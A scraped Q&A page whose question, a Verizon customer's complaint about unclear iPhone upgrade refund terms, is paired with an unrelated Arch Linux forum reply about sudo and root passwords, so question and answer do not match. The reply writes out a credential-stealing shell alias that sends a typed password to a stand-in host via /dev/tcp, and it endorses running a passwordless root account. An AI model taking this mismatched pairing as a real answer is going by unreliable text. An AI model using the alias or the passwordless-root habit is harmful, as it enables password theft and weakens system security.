Can You Offer Clarity - Who, What, When Your Eligible for Promotional Refund

Question

In our town we have two retailers which are literally blocks mile from each other; Verizon Wireless 76 Dodge St., 01915 and Verizon Wireless at 136 Dodge St., 01915.  I'm sifting through the VWZ website to better understand the promotion and to better understand given the information shared at "Verizon Wireless 136 Dodge St....".
I've been a customer of VWZ for years and have opted not to go to 76 Dodge St. given the years of poor customer service experience at that particular location and return to 136 Dodge St given their great customer service.  Now I read your posting as I comb through the readings to learn more about the promotion to help better understand who, what and under what circumstances you are eligible to receive the promotional upgrade. 
I only went to the store today given the VWZ website did not allow me to change my plan to from nationwide to single place and pre-order the phone.  My frustration mounted when I went to the store I was at today stated VWZ "misinformed the public..." and the $200 upgrade really should really have read, "...receive up to a $200 refund..." -- that is, I would only receive the cost of the appraised value of the iPhone 4S which is only know after I submit the item to VWZ.  Here I read this post which you indicate it's only available at "Verizon Wireless" which leaves be baffled - does this include authorized retailers who print receipts stating "Verizon Wireless, 136 Dode St... or what?  The only reason why I remained with VMZ (it wasn't for the customer service), was the promotional offer and the new single plan being offered.  If this is not the case, I like to void this order (which I won't be surprised I'll be charged) and start shopping around at other carriers.  I admit this promotional offering is very clear with no clear indication on who, what and under what circumstance you are eligible and the cost you will encounter.

Answer 1

nickleu wrote:
i've never pay close attention to this problem,until one day i open a terminal and type
sudo su
,and i jumped to a root session without any problem.
I mean, isn't it stupid that someone who has my user password can easily get my root access? What is my long, complex root password for?
Later on I even think of more cases where I can jump to a root session with just my user password.---sudo vim ; sudo bash,eg.
Google around and search arch forum didn't give me much.
BTW, I just went across this Linux Journal passage http://www.linuxjournal.com/content/sto … r-password. there is a comment claiming that sudo is not safe.
Anonymous from LinuxJournal wrote: su is a perfectly safe command, sudo is not. When you have work to do, you don't (or shouldn't) have time to find that sudo isn't configured for what you need to do- or worse, that it's misconfigured and you have a glaring security hole on your server. This happens everyday.
So how do you guys think?
I think NOEXEC is the sudo option you're looking for. It prevents sudo processes from spawning child processes, which may or may not be a shell. Use it in conjunction with a specific, known-to-be-secure command line, and you can mitigate the problem you're talking about. Personally, I don't use su nor sudo anymore. Instead I log into my passwordless root account from another TTY, which getty permits by default. su and ssh deny access to passwordless accounts, so I don't really see it as a security problem.
Furthermore, I think your concern is misplaced: if someone had access to your user password, there is far more he or she could do beyond using sudo (install a keylogger, alias sudo='read -p Password > /dev/tcp/attacker.com/1234', gdb(1), ptrace(2), etc). More realistic threats are usually those involving privilege escalation by other users or programs without the use of su/sudo.
Edit: see also man sudo(1) and sudoers.conf(5).
Last edited by EscapedNull (2014-11-05 21:32:41)